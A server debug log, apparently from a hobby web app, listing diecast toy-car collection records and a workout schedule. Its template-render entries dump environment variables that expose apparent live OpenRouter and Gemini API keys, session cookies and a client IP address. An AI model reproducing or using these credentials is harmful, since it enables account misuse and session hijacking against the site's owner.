  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-01-30T10:35:57.650Z server-connect:app Executing action step select
2026-01-30T10:35:57.650Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-01-30T10:35:57.653Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 115,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-01-30T10:35:57.655Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-01-30T10:35:57.655Z server-connect:app Executing action step select
2026-01-30T10:35:57.655Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-01-30T10:35:57.656Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-01-30T10:35:59.201Z server-connect:router Serving templateView /workout
2026-01-30T10:35:59.201Z server-connect:app Executing action step identify
2026-01-30T10:35:59.201Z server-connect:app options: { provider: 'security' }
2026-01-30T10:35:59.202Z server-connect:output identity: 1
2026-01-30T10:35:59.202Z server-connect:app Executing action step restrict
2026-01-30T10:35:59.202Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-30T10:35:59.202Z server-connect:output restrict: undefined
2026-01-30T10:35:59.202Z server-connect:router Render template workout
2026-01-30T10:35:59.202Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/workout',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3APFwTOWWMWw1DiIVFMzGNmA%3D%3D.86EaewkY1yX7LBY%2Bfdxj2Q3EkKG4hEw%2Be4HTjLby0oJG5K2EqEHw9JgCh512qEQdtnltcvOheXih0395WS65%2FGENwougPxjBkLvJs5GmQYi%2FiU245qnFhsPkDuICMgGNsyvoOUqvkAFsrkDT%2B3MI6DQQagkD%2FeltUcWD%2BLt9X0k%3D.356DpcZHozSamVMkOGixMXsKGXfcaIJwLYNlOsCNJa0; your_r_git.sid=s%3AySm6sIjj5ojFFbTPuDgtdD6lBUl4Svyd.hK8ZD1URCa8E0YqDnIAYRkqRDMHQLVl9Z0z%2B00%2BNcco',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-31T10:35:49.553Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/workout',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/workout',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/workout',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3APFwTOWWMWw1DiIVFMzGNmA%3D%3D.86EaewkY1yX7LBY%2Bfdxj2Q3EkKG4hEw%2Be4HTjLby0oJG5K2EqEHw9JgCh512qEQdtnltcvOheXih0395WS65%2FGENwougPxjBkLvJs5GmQYi%2FiU245qnFhsPkDuICMgGNsyvoOUqvkAFsrkDT%2B3MI6DQQagkD%2FeltUcWD%2BLt9X0k%3D.356DpcZHozSamVMkOGixMXsKGXfcaIJwLYNlOsCNJa0; your_r_git.sid=s%3AySm6sIjj5ojFFbTPuDgtdD6lBUl4Svyd.hK8ZD1URCa8E0YqDnIAYRkqRDMHQLVl9Z0z%2B00%2BNcco',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-01-30T10:35:59.482Z server-connect:router Serving serverConnect /api/health/get-schedule
2026-01-30T10:35:59.483Z server-connect:app Executing action step identify
2026-01-30T10:35:59.483Z server-connect:app options: { provider: 'security' }
2026-01-30T10:35:59.483Z server-connect:output identity: 1
2026-01-30T10:35:59.483Z server-connect:app Executing action step restrict
2026-01-30T10:35:59.483Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-01-30T10:35:59.483Z server-connect:output restrict: undefined
2026-01-30T10:35:59.483Z server-connect:app Executing action step select
2026-01-30T10:35:59.484Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [],
    table: { name: 'workout_schedule' },
    joins: [],
    primary: 'schedule_id',
    query: 'select * from `workout_schedule`'
  }
}
2026-01-30T10:35:59.486Z server-connect:output list: [
  {
    schedule_id: 2,
    schedule_name: 'Lean Fat Loss',
    start_date: '2025-11-30T18:30:00.000Z',
    end_date: '2025-12-30T18:30:00.000Z',
    days: 6,
    created_on: '2025-04-20T09:05:58.000Z',
    created_by: 1,
    updated_on: '2025-04-20T09:13:32.000Z',
    updated_by: null,
    status: 'Not Started',
    description: 'this is a test description'
  }
]
2026-01-30T10:36:01.007Z server-connect:router Serving templateView /exercise/2
2026-01-30T10:36:01.007Z server-connect:app Executing action step identify
2026-01-30T10:36:01.007Z server-connect:app options: { provider: 'security' }
2026-01-30T10:36:01.007Z server-connect:output identity: 1
2026-01-30T10:36:01.007Z server-connect:app Executing action step restrict
2026-01-30T10:36:01.007Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-30T10:36:01.008Z server-connect:output restrict: undefined
2026-01-30T10:36:01.008Z server-connect:router Render template workout-exercise
2026-01-30T10:36:01.008Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': { schedule_id: '2' },
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/exercise/2',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3APFwTOWWMWw1DiIVFMzGNmA%3D%3D.86EaewkY1yX7LBY%2Bfdxj2Q3EkKG4hEw%2Be4HTjLby0oJG5K2EqEHw9JgCh512qEQdtnltcvOheXih0395WS65%2FGENwougPxjBkLvJs5GmQYi%2FiU245qnFhsPkDuICMgGNsyvoOUqvkAFsrkDT%2B3MI6DQQagkD%2FeltUcWD%2BLt9X0k%3D.356DpcZHozSamVMkOGixMXsKGXfcaIJwLYNlOsCNJa0; your_r_git.sid=s%3AySm6sIjj5ojFFbTPuDgtdD6lBUl4Svyd.hK8ZD1URCa8E0YqDnIAYRkqRDMHQLVl9Z0z%2B00%2BNcco',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-31T10:35:49.553Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/exercise/2',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/exercise/2',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/exercise/2',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3APFwTOWWMWw1DiIVFMzGNmA%3D%3D.86EaewkY1yX7LBY%2Bfdxj2Q3EkKG4hEw%2Be4HTjLby0oJG5K2EqEHw9JgCh512qEQdtnltcvOheXih0395WS65%2FGENwougPxjBkLvJs5GmQYi%2FiU245qnFhsPkDuICMgGNsyvoOUqvkAFsrkDT%2B3MI6DQQagkD%2FeltUcWD%2BLt9X0k%3D.356DpcZHozSamVMkOGixMXsKGXfcaIJwLYNlOsCNJa0; your_r_git.sid=s%3AySm6sIjj5ojFFbTPuDgtdD6lBUl4Svyd.hK8ZD1URCa8E0YqDnIAYRkqRDMHQLVl9Z0z%2B00%2BNcco',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-01-30T10:36:01.269Z server-connect:router Serving serverConnect /api/health/get-exercises
2026-01-30T10:36:01.271Z server-connect:app Executing action step identify
2026-01-30T10:36:01.271Z server-connect:app options: { provider: 'security' }
2026-01-30T10:36:01.272Z server-connect:output identity: 1
2026-01-30T10:36:01.272Z server-connect:app Executing action step restrict
